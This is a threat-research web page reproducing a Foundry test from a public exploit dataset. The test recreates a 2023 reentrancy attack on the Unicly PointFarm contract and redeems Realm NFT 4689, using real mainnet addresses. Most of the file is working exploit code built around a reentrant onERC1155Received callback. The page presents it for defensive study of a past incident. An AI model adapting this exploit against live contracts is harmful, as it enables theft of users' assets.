Skip to content
THREATWIRE

Public reproduction file

src/test/2023-09/uniclyNFT_exp.sol

Public reproduction file for dataset entry uniclyNFT.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-09/uniclyNFT_exp.sol125 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @KeyInfo - Total Lost : 1 NFT (ID: 4689)
8// Attacker : https://etherscan.io/address/0x92cfcb70b2591ceb1e3c6d90e21e8154e7d29832
9// Attacker Contract : https://etherscan.io/address/0x9d9820f10772ffcef842770b6581c07a97fed9e4
10// Vulnerable Contract : https://etherscan.io/address/0xd3c41c85be295607e8ea5c58487ec5894300ee67
11// Attack Tx : https://etherscan.io/tx/0xc42fe1ce2516e125a386d198703b2422aa0190b25ef6a7b0a1d3c6f5d199ffad
13// @Analysis
14// https://twitter.com/DecurityHQ/status/1703096116047421863
16interface IPointFarm {
17 function balanceOf(address account, uint256 id) external view returns (uint256);
19 function setApprovalForAll(address operator, bool _approved) external;
21 function deposit(uint256 _pid, uint256 _amount) external;
23 function withdraw(uint256 _pid, uint256 _amount) external;
26interface IPointShop {
27 function redeem(address _uToken, uint256 internalID) external;
30contract ContractTest is Test {
31 IERC20 private constant WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
32 IERC20 private constant uJENNY = IERC20(0xa499648fD0e80FD911972BbEb069e4c20e68bF22);
33 Uni_Pair_V2 private constant uJENNY_WETH = Uni_Pair_V2(0xEC5100AD159F660986E47AFa0CDa1081101b471d);
34 IPointFarm private constant PointFarm = IPointFarm(0xd3C41c85bE295607E8EA5c58487eC5894300ee67);
35 IPointShop private constant PointShop = IPointShop(0xcDCc535503CBA9286489b338b36156b4b75008f6);
36 IERC721 private constant Realm = IERC721(0x7AFe30cB3E53dba6801aa0EA647A0EcEA7cBe18d);
38 function setUp() public {
39 vm.createSelectFork("mainnet", 18_133_171);
40 vm.label(address(WETH), "WETH");
41 vm.label(address(uJENNY), "uJENNY");
42 vm.label(address(uJENNY_WETH), "uJENNY_WETH");
43 vm.label(address(PointFarm), "PointFarm");
44 vm.label(address(PointShop), "PointShop");
45 vm.label(address(Realm), "Realm");
46 }
48 function testExploit() public {
49 // Start with the below amount of WETH
50 deal(address(WETH), address(this), 500e15);
51 // Preparation phase
52 uJENNY.approve(address(PointFarm), type(uint256).max);
53 WETHToUJENNY();
54 uint256 amtuJENNY = uJENNY.balanceOf(address(this));
55 PointFarm.deposit(0, uJENNY.balanceOf(address(this)));
56 // Wait ~2 days
57 vm.roll(18_149_401);
58 // Attack
59 emit log_named_uint("Attacker Realm NFT balance before attack", Realm.balanceOf(address(this)));
60 // Reentrancy here. Inflate the attacker balance of PointFarm to redeem Realm NFT later from PointShop
61 PointFarm.deposit(0, 0);
62 // Getting initial deposit (preparation phase) back
63 PointFarm.withdraw(0, amtuJENNY);
64 UJENNYToWETH(amtuJENNY);
66 // Getting NFT from PointShop
67 PointFarm.setApprovalForAll(address(PointShop), true);
68 PointShop.redeem(address(uJENNY), 0);
70 emit log_named_decimal_uint(
71 "Attacker WETH balance after attack", WETH.balanceOf(address(this)), WETH.decimals()
72 );
73 // 4689 - id of the stolen NFT
74 assertEq(Realm.ownerOf(4689), address(this));
75 emit log_named_uint("Attacker Realm NFT balance after attack", Realm.balanceOf(address(this)));
76 }
78 function WETHToUJENNY() internal {
79 (uint112 reserveuJENNY, uint112 reserveWETH,) = uJENNY_WETH.getReserves();
80 uint256 amountOut = calcAmountOut(reserveuJENNY, reserveWETH, WETH.balanceOf(address(this)));
81 WETH.transfer(address(uJENNY_WETH), WETH.balanceOf(address(this)));
82 uJENNY_WETH.swap(amountOut, 0, address(this), bytes(""));
83 }
85 function UJENNYToWETH(
86 uint256 amount
87 ) internal {
88 (uint112 reserveuJENNY, uint112 reserveWETH,) = uJENNY_WETH.getReserves();
89 uint256 amountOut = calcAmountOut(reserveWETH, reserveuJENNY, amount);
90 uJENNY.transfer(address(uJENNY_WETH), amount);
91 uJENNY_WETH.swap(0, amountOut, address(this), bytes(""));
92 }
94 function calcAmountOut(uint256 reserve1, uint256 reserve2, uint256 tokenAmount) internal pure returns (uint256) {
95 uint256 a = tokenAmount * 997;
96 uint256 b = a * reserve1;
97 uint256 c = reserve2 * 1000;
98 return b / (a + c);
99 }
101 function onERC1155Received(
102 address operator,
103 address from,
104 uint256 id,
105 uint256 value,
106 bytes calldata data
107 ) external returns (bytes4) {
108 uint256 pointFarmBalance = PointFarm.balanceOf(address(this), 0);
109 if (pointFarmBalance <= 10_000) {
110 PointFarm.deposit(0, 0);
111 }
112 return this.onERC1155Received.selector;
113 }
115 function onERC721Received(
116 address operator,
117 address from,
118 uint256 tokenId,
119 bytes calldata data
120 ) external returns (bytes4) {
121 return this.onERC721Received.selector;
122 }
124 receive() external payable {}

Analysis

Dataset entry

Public Foundry test for “uniclyNFT” (2023-09-16). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

14 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x92cfcb70b2591ceb1e3c6d90e21e8154e7d29832

  • Attacker

    0x9d9820f10772ffcef842770b6581c07a97fed9e4

  • Vulnerable Contract

    0xd3c41c85be295607e8ea5c58487ec5894300ee67

  • Attack Tx

    0xc42fe1ce2516e125a386d198703b2422aa0190b25ef6a7b0a1d3c6f5d199ffad

File record

Name
uniclyNFT
Path
src/test/2023-09/uniclyNFT_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
03e4ad778c942228bbd43f43348ed5b5e6950715
Language
Solidity
Size
126 lines
Date
2023-09-16
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2023-09/uniclyNFT_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 03e4ad778c942228bbd43f43348ed5b5e6950715, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.